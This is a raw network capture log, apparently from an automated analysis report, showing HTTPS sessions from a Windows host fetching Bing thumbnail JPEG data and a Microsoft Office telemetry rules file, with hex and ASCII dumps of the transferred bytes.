2024-11-20 17:57:56 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-20 17:57:56 UTC	16384	IN	Data Raw: 85 da a2 66 d0 8a a6 2d 98 a6 2f 2d 29 89 be 4e 39 24 9e 3c ca c9 6c 03 84 93 dc b9 27 52 75 44 2e 13 33 10 2e 9d 07 af 45 54 38 c5 fd ca e3 2b a2 e5 30 72 b2 4e 32 06 5a 5d 46 06 20 9e a8 4b 44 d3 0b 39 00 9c 91 42 d3 cd 94 78 b4 e5 29 18 34 d8 bf 6e 2a 3c ee 90 16 0a 2e a6 49 37 12 50 5a f0 e3 74 81 04 cd a6 ca 63 78 c9 f2 f4 aa c1 b8 6e 6f c1 04 64 99 c6 4c 77 fa 85 91 06 66 51 24 60 8c c5 af 19 81 9f 72 98 67 ec 48 18 55 cd a0 8b e8 79 1f 4a bb 3d a0 70 81 c6 75 31 fb ca 63 81 85 00 09 c9 5d 6b 0e 86 fe 2a 40 08 9b 22 66 4f 72 b0 01 1c e7 8a 08 04 6c 6d e7 dd e0 af b1 92 09 fa 41 f0 ee 40 b1 c2 d5 dc 61 a4 99 e5 de a6 ac 00 25 b2 1d 88 0c 18 6f 8a 22 79 8e 00 1b a6 01 4a b3 58 d9 91 7d 33 45 27 64 23 d1 cd 05 c4 d3 0b 63 3c a1 49 0d 73 b0 91 11 88 88 Data Ascii: f-/-)N9$<l'RuD.3.ET8+0rN2Z]F KD9Bx)4n<.I7PZtcxnodLwfQ$`rgHUyJ=pu1c]k@"fOrlmA@a%o"yJX}3E'd#c<Is
2024-11-20 17:57:56 UTC	1275	IN	Data Raw: ca b9 d5 e8 5a 7c d1 4d ed 0a 3b a6 09 1a eb a0 e4 93 89 78 90 60 f0 c5 88 0e 90 a5 56 6a 51 92 95 42 e6 90 73 d2 f9 4c cf ad d5 37 ba 41 92 48 cb 90 27 8f 44 e9 6b 10 72 89 95 a6 d5 0e 7e fc 37 3d 6d 1d 17 01 c6 09 37 ce 07 ee b3 9a 7a 3b 62 32 54 4b 9a ef 4d 86 1d ba 6c 75 13 9c 6b af 92 e6 31 c1 d2 0c 93 63 33 6b c4 dc e4 bc f9 87 4c c3 ae 26 ec ee b6 49 6c 88 06 77 b5 b7 13 75 83 50 82 44 18 eb 3e 07 db 79 58 44 5f e4 d3 0c 59 a2 2f 2e 36 c7 b2 d4 a1 5f 11 20 b0 b1 d7 16 f2 3e c2 57 4f b4 69 19 4c 67 98 10 23 28 0b d3 fa 8f a8 a7 7b 66 29 b4 c4 c4 c6 5d 9c de 76 1b 3c 9f a6 fa 6a b6 37 a6 ab c5 51 31 31 97 9e 8f 56 ed ba 8d 2a e0 87 b1 ae 74 49 91 7f 11 07 c5 5d 63 59 04 e4 64 4c 9e 47 5c 93 a3 77 73 6f 3a 2a 98 8e df db 46 13 76 7b 9b 5b 7b 99 57 44 Data Ascii: Z\|M;x`VjQBsL7AH'Dkr~7=m7z;b2TKMluk1c3kL&IlwuPD>yXD_Y/.6_ >WOiLg#({f)]v<j7Q11VtI]cYdLG\wso:Fv{[{WD
2024-11-20 17:57:56 UTC	16384	IN	Data Raw: 78 cb b7 35 dd 82 1c 23 29 c2 73 e4 42 f4 1f a3 01 9f f3 00 e8 9c 25 b7 81 d0 c6 57 57 b7 46 17 17 7d b9 cb c9 e7 c6 4f 6a 7e 9f 6b fa bc de 79 b5 6a 16 d2 70 73 41 76 36 43 80 c9 96 90 40 99 8b 66 ba 6f d9 a6 06 36 4c 9e cc 16 3b 78 ea 1b 06 c7 42 bd 5b 6b e9 e2 e3 a2 ba e7 37 8f 7b c4 3a f7 28 a2 9c a2 ea 58 2a 16 e2 c3 48 88 06 77 b5 31 26 f7 b8 5d 1a 75 b1 61 a2 f7 34 c0 c8 b6 1b 8b 16 2c a4 92 78 18 85 d9 cb 36 33 7b 65 ab 96 c7 95 f9 39 58 1a c6 b8 96 50 24 5f 0e 07 3a 47 59 85 dd ec e8 b6 71 35 87 98 2e 6e 9d 4f a1 6f e6 e5 c5 b9 da 9f 25 fe 2e 19 71 7d b1 06 e3 73 77 48 c3 70 2c 2f 7e e5 ba b5 a8 3a ab 9b 4d a4 01 68 2e b9 e7 70 7e 2b a6 c7 4c 4d b3 41 4c c2 6a 8c ec 89 6c 83 95 da 65 b9 09 47 ea 19 d8 ba 99 a4 d7 17 38 1c 52 0c 5a 22 e3 da 92 ed Data Ascii: x5#)sB%WWF}Oj~kyjpsAv6C@fo6L;xB[k7{:(X*Hw1&]ua4,x63{e9XP$_:GYq5.nOo%.q}swHp,/~:Mh.p~+LMALjleG8RZ"
2024-11-20 17:57:57 UTC	16384	IN	Data Raw: 50 56 79 c7 fc 76 3f 76 10 e9 04 5b ee 2b b3 ba e6 de 9a e2 78 c4 39 3b c6 35 53 31 cd c8 1b 38 12 5a 5e ec 24 8c 25 b8 26 38 19 32 17 66 a8 a7 8d 80 54 37 9b b4 36 d8 44 df 3c d7 36 0e dd 5d 73 69 98 ce 1d 18 9c b1 7b 4e 4f 1d 50 b8 61 73 88 68 78 c4 2f 98 98 f8 af 45 b4 ff 00 08 66 4f b3 a6 5a dc a3 96 57 e0 bc fc a2 6c ec ae 6d 6b 5b c1 db 69 73 d3 9d f5 84 bb 0b c8 a3 9f cc ef 8a e7 53 ac 69 1c 00 18 18 9c 72 32 0e 5c c4 67 2a 36 e2 f1 3d ac e9 dc 8a 66 5a 55 3a 76 7e e2 69 99 85 05 a5 ea 07 ce 82 42 60 02 4d 00 18 42 00 01 09 80 0d 08 00 04 d2 33 01 09 00 66 92 01 03 42 46 0c 21 23 20 10 91 98 34 92 00 1a 48 00 1a 48 06 4d 2c a4 66 46 92 01 91 a1 00 03 51 39 e1 b6 cc a4 53 36 36 b4 51 8b b0 aa 18 55 cd 4b c9 ee d6 fd 16 5b 93 68 ed 67 33 9e 6d 36 69 Data Ascii: PVyv?v[+x9;5S18Z^$%&82fT76D<6]si{NOPashx/EfOZWlmk[isSir2\g*6=fZU:v~iB`MB3fBF!# 4HHM,fFQ9S66QUK[hg3m6i
2024-11-20 17:57:57 UTC	7952	IN	Data Raw: 99 de f5 63 6b 11 56 b6 1c 50 da 8e 1c be eb 67 a6 4b 48 9c a3 b1 e7 ce f4 44 cc 5f 4f d9 cb 86 73 7a 34 6c cc d3 4c db 5b 4f 9b 86 03 9a 29 b4 8c 98 5a 6f ae 8b 4e 04 d4 63 65 db d1 7d 78 9d 38 2e dc 50 f3 27 7b f1 99 bb 1a 28 98 88 7a 94 ed 7e 51 0f 1f 56 db 70 ff 00 f2 b3 d8 ba 95 ff 00 1f 5e 9e d1 da 4b 63 10 70 92 6f e5 aa f5 ef 7a 7d 1e 5d 3f 57 44 d3 69 89 bd bd b8 bc 8b 5a b8 ed 87 a5 57 d2 d5 8f 14 4c 5a eb cf 2f c5 46 1b 3f cd 4e 71 5a 05 ee 32 ba ee 56 d8 aa 06 d2 30 e7 61 2c aa ec 22 cd 05 da 98 cb aa ed a6 a8 89 9c f8 3c 8a 37 a6 6a d3 2f 97 d9 cd bb 4d 53 46 9c 7f 67 a5 b9 4d 38 27 3c f3 8b 65 9c c4 67 6e aa db 67 e3 a8 ed 8f 6b aa 76 80 b4 16 8c 24 0b 1f f6 95 5f f2 9f 92 ab b1 55 63 58 da 6e 0e 61 76 f0 33 20 c6 84 2f 66 2b 98 65 44 62 8e Data Ascii: ckVPgKHD_Osz4lL[O)ZoNce}x8.P'{(z~QVp^Kcpoz}]?WDiZWLZ/F?NqZ2V0a,"<7j/MSFgM8'<egngkv$_UcXnav3 /f+eDb
2024-11-20 17:57:57 UTC	16384	IN	Data Raw: 33 39 b8 58 6b 99 8a 75 38 7d be a6 cb a9 b4 d4 0d a0 d0 c8 00 cd c3 89 cb 47 5e e0 9e 37 55 74 ca 22 e5 33 2e 40 d9 6b 97 0e d1 ae 6f 00 73 3d c2 55 16 ed 55 41 8c 6e 23 84 9f 7a bb a5 36 93 bb a4 ea 55 40 24 b1 d8 8d a3 80 d2 14 4c da ea c0 69 27 94 ba c3 ce 02 24 8c ee a6 dd 96 b6 6e 63 b8 1b 1f 8e 41 5c a7 55 c4 61 c5 79 bc 62 93 c3 5c ba a1 49 b2 b8 70 6e 9e c8 e6 dd c0 5f 2b 80 07 43 af 35 97 b0 01 8d ef c4 ec 80 cc 47 8d d1 06 8b 05 a6 8b 61 0e 64 1b b8 3b 29 bc 09 12 4b 6c 0e 97 55 08 0e 69 2d 37 91 ca c7 92 19 dc 58 dd ea 1b 39 22 ce 61 13 25 d3 00 18 81 ba eb c4 c0 c8 ae 76 cc e7 d3 99 0e 01 ce ee 83 20 83 f1 e6 9c c5 c1 40 5c da 36 0d a5 d4 de e6 35 93 4a 0b 9a c2 71 83 f5 b4 44 75 32 6c 17 42 96 d8 29 d5 63 e6 03 9b 84 c4 e6 04 72 d2 ca 62 95 Data Ascii: 39Xku8}G^7Ut"3.@kos=UUAn#z6U@$Li'$ncA\Uayb\Ipn_+C5Gad;)KlUi-7X9"a%v @\65JqDu2lB)crb
2024-11-20 17:57:57 UTC	16384	IN	Data Raw: 99 5a 41 18 66 53 40 00 a5 08 06 45 74 d0 0c 89 08 06 09 34 00 19 4d 00 02 42 08 c0 42 00 04 84 00 64 84 00 02 10 0c 89 34 ac 15 72 24 5d 2b 1a ae 92 4d 2b 05 5c 89 09 03 19 04 5d 05 99 9e 41 24 8e f2 71 25 68 08 41 5e 4c 5a 02 68 06 02 69 17 aa a0 e2 39 1a d0 05 08 99 e6 a8 5c 44 f4 48 13 01 4c a6 65 ac 2e 21 b0 8e f4 a5 12 a8 5c 43 48 84 e5 9c c9 aa cd 26 13 96 61 49 47 54 81 09 4d 93 2a 83 84 81 c4 6b 92 cd b5 f0 ba ce aa 62 44 b5 a6 a9 8e 25 16 eb 0e 95 2a 84 98 97 47 af 82 cd 1f e8 90 46 51 3e 2b 83 72 88 b1 ee f6 bd 2d aa e6 e5 b3 9f 07 6e 9b 6a 3e e4 34 5b 22 ef fb 6e 7d aa 16 64 08 02 da 48 69 f0 8f 89 0b cb aa 68 8d 2f af 4f ba aa f6 ca ef 5a 8c 73 ad b4 d2 ff 00 64 53 ed c1 d6 8d a1 b1 21 90 23 ea f3 b1 52 53 63 dd 20 b4 81 c9 cd 3e be 6b 8f f0 Data Ascii: ZAfS@Et4MBBd4r$]+M+\]A$q%hA^LZhi9\DHLe.!\CH&aIGTMkbD%GFQ>+r-nj>4["n}dHih/OZsdS!#RSc >k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	49918	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:56 UTC	346	OUT	GET /th?id=OADD2.10239317301683_1HSDAIPF7ZNRJKYTI&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-20 17:57:56 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 592206 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: C7A9AB140820404B98064C75F369D2D9 Ref B: EWR30EDGE0713 Ref C: 2024-11-20T17:57:56Z Date: Wed, 20 Nov 2024 17:57:55 GMT Connection: close
2024-11-20 17:57:56 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 04 04 04 04 05 09 06 05 05 05 05 0b 08 08 06 09 0d 0b 0d 0d 0d 0b 0c 0c 0e 10 14 11 0e 0f 13 0f 0c 0c 12 18 12 13 15 16 17 17 17 0e 11 19 1b 19 16 1a 14 16 17 16 ff db 00 43 01 04 04 04 05 05 05 0a 06 06 0a 16 0f 0c 0f 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 ff c0 00 11 08 07 80 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFCC8"}!1AQa"q2
2024-11-20 17:57:57 UTC	16384	IN	Data Raw: d3 f2 a7 29 2b c2 ae 78 e5 70 08 07 a8 23 3e 9f d6 9a 70 24 60 e1 58 74 00 13 8f 6f af 39 3f 95 21 65 31 86 90 0f 2f 3f 33 6c cf 20 e3 a1 fd 7e b4 c0 55 42 63 fb e7 e5 7c 01 9e 57 d7 3e c0 e2 9f 0b b1 c7 cb 85 51 8d c3 2d cf e3 ef 9a 62 ee 50 57 2c 00 38 2a 71 c1 a5 62 ce 58 c8 7e 72 7e 5c 9c 90 31 df b7 34 80 7a 39 f2 e3 f3 18 36 4e 77 67 86 1f 5e de d9 a1 59 8b 0f 30 6e dc b8 dc 4e 70 7d b3 51 b6 f6 8b 73 16 c1 e7 ee e4 e3 f1 ed fe 7b 52 23 28 21 90 6d 2c a7 72 fd 48 fe 54 00 fd bf bb 55 56 5e 72 15 b2 7f a7 d2 88 81 5f 29 44 5b 76 82 72 1b ef 67 b6 3f 3a 4d e4 48 ac ad cb 30 51 ce 37 1e c7 eb d7 f2 f7 a7 16 8f 7c 69 10 c3 2b 0d db 41 c8 1c f6 3f e7 f3 a4 02 46 c4 02 55 54 f5 da 11 78 c6 33 8c 67 34 49 22 99 37 6c 38 c0 c8 2a 40 6e 39 3f d2 96 30 e0 90 Data Ascii: )+xp#>p$`Xto9?!e1/?3l ~UBc\|W>Q-bPW,8qbX~r~\14z96Nwg^Y0nNp}Qs{R#(!m,rHTUV^r_)D[vrg?:MH0Q7\|i+A?FUTx3g4I"7l8@n9?0
2024-11-20 17:57:57 UTC	16384	IN	Data Raw: 45 17 01 17 19 56 1f 36 de 41 f5 18 fe 54 dc 85 8f 25 ff 00 de 70 3f 4a 91 4b 75 07 a8 ce 3b 67 ff 00 af fe 14 36 ed bd 32 c3 a6 3b d0 04 2c a4 2f cc 4e d3 81 c8 18 e9 cf 14 ed ac 72 80 29 1d 09 23 90 31 eb f9 fe 94 ec 82 33 92 bd 77 1c 70 68 3b 9d c0 09 f3 72 3a fc bf 5a 06 47 c7 55 38 c1 03 04 d1 b4 fd d0 db 7a e3 ff 00 ad 52 1c e7 0b b5 b7 2f 39 e2 90 c6 a7 00 8f a2 e7 3b bd b3 4e e2 22 65 59 64 e5 37 64 1c ee f5 ff 00 3d e9 ad 0e f6 20 8c 8c e0 13 cf e7 53 81 95 55 f9 78 39 2d fc ff 00 c3 f0 a1 b1 b7 04 67 fd ac 51 70 29 7f 67 c4 d1 fc c8 bb 94 92 72 0e 33 fe 71 50 9d 32 12 d9 51 b9 bb 1c 75 fc 2b 4b 01 58 f4 53 8c 10 b9 e7 e9 9a 55 03 76 57 e5 e0 fc c4 d3 e7 62 e5 46 45 c6 97 06 ed cd 12 95 3c 02 46 3e bf d3 15 52 eb 49 55 60 d6 f9 24 f3 90 30 49 3d Data Ascii: EV6AT%p?JKu;g62;,/Nr)#13wph;r:ZGU8zR/9;N"eYd7d= SUx9-gQp)gr3qP2Qu+KXSUvWbFE<F>RIU`$0I=
2024-11-20 17:57:57 UTC	16384	IN	Data Raw: c2 e1 06 71 f2 8e 79 f5 a9 02 b1 5e 3a f4 eb 83 ec 29 b8 56 6e 78 da bc 1e ff 00 fd 7a 2e 31 b8 1d 41 6e 1b 86 23 8f a5 1b 54 36 d0 3d f0 4f 51 f5 ed 4f 63 95 25 8f 3e 87 b7 ad 2e 7e 55 20 f5 6e 03 7f 9f ad 00 42 cb 8e 41 0b c9 c3 67 da 89 3e ee 40 cf cd 85 da 3d 47 4c 76 35 27 4c 29 f9 ba 9c 81 d4 ff 00 85 0c 00 52 55 07 af 4e be c2 8b 81 16 06 dc 13 f4 c1 ff 00 3e ff 00 e4 d2 32 8d cc 40 ce e3 c7 24 1c ff 00 88 a9 14 1e 7e 56 5e 7b 8e f4 6d 27 a0 f4 f9 bd 7d cd 31 58 85 54 95 c6 77 a9 e4 aa 8e fe b4 e2 a0 ed de d8 cf 52 0f e5 52 05 25 b0 ab b5 73 f7 79 ce 07 7a 17 e6 3b 57 a1 e0 8c 50 31 a5 49 60 ac a3 07 00 f3 cf 7f f2 69 55 14 32 92 3b 13 fe 7d a9 f0 ab 21 6e 17 07 8f ad 26 08 6e b8 e3 b0 3f cf b5 21 8c 20 ee dc d1 e4 b6 79 ec 47 f5 ef 44 83 b0 27 24 Data Ascii: qy^:)Vnxz.1An#T6=OQOc%>.~U nBAg>@=GLv5'L)RUN>2@$~V^{m'}1XTwRR%syz;WP1I`iU2;}!n&n?! yGD'$
2024-11-20 17:57:57 UTC	16384	IN	Data Raw: 8e b8 00 56 14 3e 54 4d b0 f2 0f cd b7 6f 1e ff 00 d7 f4 a6 7d a5 4c 9e 68 53 d4 e7 9f bc 3f ce 2a 1c 79 99 51 95 8e c2 df 54 7d a8 e9 26 1b 18 6d c7 27 3d ff 00 2a b9 6f ac 32 e7 7f af 00 0e 3f cf 5a e0 d7 51 68 c3 6c 20 e0 6e 2a 07 23 f1 f7 a1 b5 47 3f 32 b9 c6 de 5b 6e 3a 7f 5e 9f 95 66 e8 5c b5 58 f4 48 f5 68 58 e1 c3 2f 19 24 73 f8 0a 7f db a1 65 63 e6 fd e3 d0 1c 7d 2b cf ff 00 b5 65 31 aa 64 1d c3 2a 0f 3c fd 2a 44 d4 a4 c8 41 f3 37 39 dd db b7 1f 4a 9f ab 95 ed 8e f7 cd 88 ae 04 80 16 6c 75 a8 d9 d0 2e 41 1d 73 d3 ae 2b 91 8b 55 70 c1 b7 e3 69 07 18 c0 f4 e9 ce 2a 6f ed 99 37 05 c4 63 a1 39 e4 f5 fd 2a 7d 8b 2f da 23 a6 69 13 3c f0 7a 82 4e 2a 3c 45 d4 b7 bf 07 a1 ed 83 5c ff 00 f6 ab 93 b7 23 18 2c c0 f4 fc e9 8d a9 b1 52 23 3b 41 cb 36 0e 7e a0 Data Ascii: V>TMo}LhS?yQT}&m'=o2?ZQhl n#G?2[n:^f\XHhX/$sec}+e1d<DA79Jlu.As+Upio7c9}/#i<zN<E\#,R#;A6~
2024-11-20 17:57:57 UTC	16384	IN	Data Raw: 2e d9 8c 71 34 65 73 9f 2d b7 15 f7 c1 e4 01 51 52 15 a0 af 2d 83 d9 40 ac d6 3a ba 48 66 0f 6c 8c 70 76 c7 74 07 f4 ab 4b 16 a8 17 7b bf 96 73 d1 65 0d bb 9e 98 e2 8d 42 08 d1 77 40 ec 32 33 b9 46 ed e3 b6 40 e9 55 a1 8b 2c 1f ed 13 0e 76 f2 08 1f 4a e7 73 6f a2 fb 88 70 49 d8 b7 e5 ea 13 f2 4c 03 9f be 57 2c bf 43 d2 b5 ac e0 91 73 fd a7 75 63 d3 e5 3c ae 7d 38 ac d3 01 11 0f b1 1f 3b 18 05 1a 4f 9b e8 07 ad 52 d4 35 4b 9b 34 10 ea 30 cc b7 08 7f 81 4a ab 7d 77 0e dc 53 8d 29 55 5a 1b d3 b4 0e 9e 3b 65 dc c2 1b 8b 0f de 0c 18 d6 5e a3 dc 1e 94 96 9a 74 d1 4a c7 cf b3 d9 d0 36 fd ad fe 06 b9 94 96 ce e9 91 e6 45 96 56 3b 40 04 83 9c fa 8c 55 88 9e d5 26 11 ac 72 21 c1 ce 24 61 9f 6e 7a d6 72 a1 25 d4 db da f9 1d 14 96 a3 79 8e 59 e3 65 23 39 2c 00 cf d4 Data Ascii: .q4es-QR-@:HflpvtK{seBw@23F@U,vJsopILW,Csuc<}8;OR5K40J}wS)UZ;e^tJ6EV;@U&r!$anzr%yYe#9,
2024-11-20 17:57:57 UTC	16384	IN	Data Raw: bc 2d c8 66 71 8e 0e 3b 8f 6f ad 3e 56 d2 2f 15 a6 49 52 45 61 84 6c 18 df 3e b8 e9 f4 ac e9 bc 33 11 dc 7e d2 b3 16 60 3f 78 00 da 3b 63 6f 3f a5 32 df c2 ad 05 da b4 77 9b 63 6e 0a 86 e0 e3 f9 d2 4a 87 d9 95 85 cd 3e a5 e9 5a c6 28 c2 24 f7 57 0c 39 dd 9d cc bf 5c 1c fe 34 d9 24 33 c7 f2 6a b3 a6 70 54 5d 2e f5 03 d0 f4 35 45 fc 23 34 f7 5e 62 cb 36 c5 6c ee 7f 97 ea 78 eb 91 fc aa 1f ec bd 46 db 71 8a 2b 99 97 a0 9e 36 04 b7 3c 0f 4a b4 a1 d2 46 6d 4b b1 62 e2 cb 54 37 1e 7e 9f 78 ab 28 fb a2 d5 b6 a9 39 f4 f5 f6 aa f7 be 22 d6 6d ee 05 bd fc 12 79 80 6d f3 1a 01 b9 87 ba f7 ed 5a 1a 3e 9f 7c ce 1a e6 d2 48 1c 92 52 46 f9 16 5e 3a 91 eb 5d 3d 8e 9d 35 c5 90 b5 b8 8d 59 65 27 fd 6a 2f 4e f8 63 fd 29 4a ac 63 ba b9 a4 68 b9 a3 8b 5d 4f 44 bb 65 82 5b 48 Data Ascii: -fq;o>V/IREal>3~`?x;co?2wcnJ>Z($W9\4$3jpT].5E#4^b6lxFq+6<JFmKbT7~x(9"mymZ>\|HRF^:]=5Ye'j/Nc)Jch]ODe[H
2024-11-20 17:57:57 UTC	16065	IN	Data Raw: 2b 10 b9 c8 da 7f 1a 35 0e 52 e0 58 e3 9b 32 48 77 60 6d 62 83 91 f4 a7 c7 1a fc ce 62 8d f7 70 31 f2 93 f5 1d 2a 95 ae a7 60 d1 ee fd e4 6c dd 5b 77 53 9e 07 3f 85 43 77 ab da db c9 ba 23 24 8b 93 f2 8c ae 3b e4 e7 83 49 df b8 ac 8d 0f b0 a9 90 ca 56 2f 98 e7 24 ff 00 2c 74 35 1a d8 45 2b 6e 36 4b 21 61 b7 3c 0d df e7 35 93 79 ad 2c d1 ac 82 79 a0 38 fb bb d7 6e 7d 08 f5 34 43 75 74 cc a4 5e 9c 0c 95 46 da e3 1e b8 14 af 24 4f 2a 66 94 96 18 65 81 ec 91 97 71 64 66 20 6d 23 fa d3 61 d1 ec bc f6 ff 00 46 6d d9 c9 53 26 01 f5 c7 3c 11 fe 7a d3 6d ef 2e a6 56 5f 3a da 56 53 f2 ed 43 9f a7 e1 56 21 b9 7d b8 92 75 5c 0f 99 63 fb d9 15 5c f2 1f b3 09 34 44 2d fe b6 45 38 20 22 49 c8 fc 2a 19 74 49 23 0c f1 ea 37 b1 f6 6f 31 89 07 d8 7d 2a 4f b7 44 cc d1 f9 ec Data Ascii: +5RX2Hw`mbbp1`l[wS?Cw#$;IV/$,t5E+n6K!a<5y,y8n}4Cut^F$Ofeqdf m#aFmS&<zm.V_:VSCV!}u\c\4D-E8 "ItI#7o1}OD
2024-11-20 17:57:57 UTC	16384	IN	Data Raw: 7b c8 be 77 95 24 17 00 86 56 8c 37 1d b0 0f 4a cf 60 63 57 9a 63 27 9c 47 3c 9c 7d 00 e9 8a 7c 32 db 4d 6a d7 17 17 12 2d c2 ca bb 76 a8 11 b2 f7 19 ea 0d 7a ca 95 b5 7a 99 1a 7e 17 d7 1e 0b cc b2 c7 13 ab 00 08 f9 73 c7 39 22 bd a7 e1 e7 88 6d b5 dd 17 ed 32 bc 56 ef 13 79 6f fb d3 fa 57 84 2d bc 72 98 cc 31 46 04 8f 85 32 1c 03 f8 f6 ae ba c2 db 53 8a d2 3b 2b 7b 18 ed 60 8d b7 ee 8e 40 e1 d8 8c 75 f4 cd 79 59 96 1a 95 54 b5 b3 3a b0 f5 65 4d f9 1e d9 1d 9d ae 59 be d8 8d bb 07 00 fc d8 f7 ab 06 d2 3f 90 da 1f 31 9b 91 89 32 aa 07 53 58 5a 2d f5 bc 1a 1d a7 9f 2c 36 f7 08 bb 66 56 1c ee 03 9c 67 93 ff 00 eb a9 e0 be 88 db b7 d8 63 bc 99 64 60 0c b1 29 44 27 d8 9c 66 be 32 a5 45 19 3d 4f 55 55 82 46 9b 45 04 6b ba 5b 85 69 3f 8b 74 81 47 d7 8a a9 79 34 Data Ascii: {w$V7J`cWc'G<}\|2Mj-vzz~s9"m2VyoW-r1F2S;+{`@uyYT:eMY?12SXZ-,6fVgcd`)D'f2E=OUUFEk[i?tGy4
2024-11-20 17:57:57 UTC	16384	IN	Data Raw: ce 7d 38 a7 ce 3b 91 8b 8b 52 cd e4 fd 9e 42 df 28 ca 3b 6d f4 e3 65 0d 2c 4b b5 e7 8c 41 b7 31 8c 33 05 cf a8 1b 7e b5 24 89 11 77 c0 8e 6d bc 9d b6 f2 f5 f7 cb 0a 49 3c 9f 94 2d a3 31 3f 32 af d9 b3 9c 1e 48 dc d9 a3 98 82 b4 27 4c dd b8 5e cd 1c db 8e 26 fb 41 03 a7 03 05 70 3e 95 a1 75 24 47 1e 66 a7 1c 91 2a e5 59 a4 46 e7 b7 1c 11 de a8 ea fa 82 db ad af 9d a4 6e f3 ae 04 21 b6 aa 8e 79 e4 99 3a d6 96 f9 37 32 ff 00 66 7c a4 0c 85 89 88 ff 00 d0 ff 00 3a ae 66 ac c0 ce be b2 b6 21 67 5f 23 6b 7c aa 46 c3 b0 e3 92 33 92 68 ae 2f e2 cf c5 ad 37 c3 5a 7c 70 e9 36 ab 77 7f e6 bc 53 47 23 ba 8b 7d a7 04 30 23 82 78 c0 cf 4a 2b d9 c3 e5 d8 ea b4 d4 e3 1d 1f 98 bd a2 3c d3 c5 da 85 a4 f7 31 dd dd 49 0b 79 40 89 96 d5 9f 1d 7a 64 8e 0d 72 fa d6 bc 91 4c b1 Data Ascii: }8;RB(;me,KA13~$wmI<-1?2H'L^&Ap>u$Gf*YFn!y:72f\|:f!g_#k\|F3h/7Z\|p6wSG#}0#xJ+<1Iy@zdrL

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:57 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:58 UTC	495	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:58 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 383164cb-401e-00ac-3275-3b0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175758Z-r1d97b99577xdmfxhC1TEBqbhg00000000s000000000qpkk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
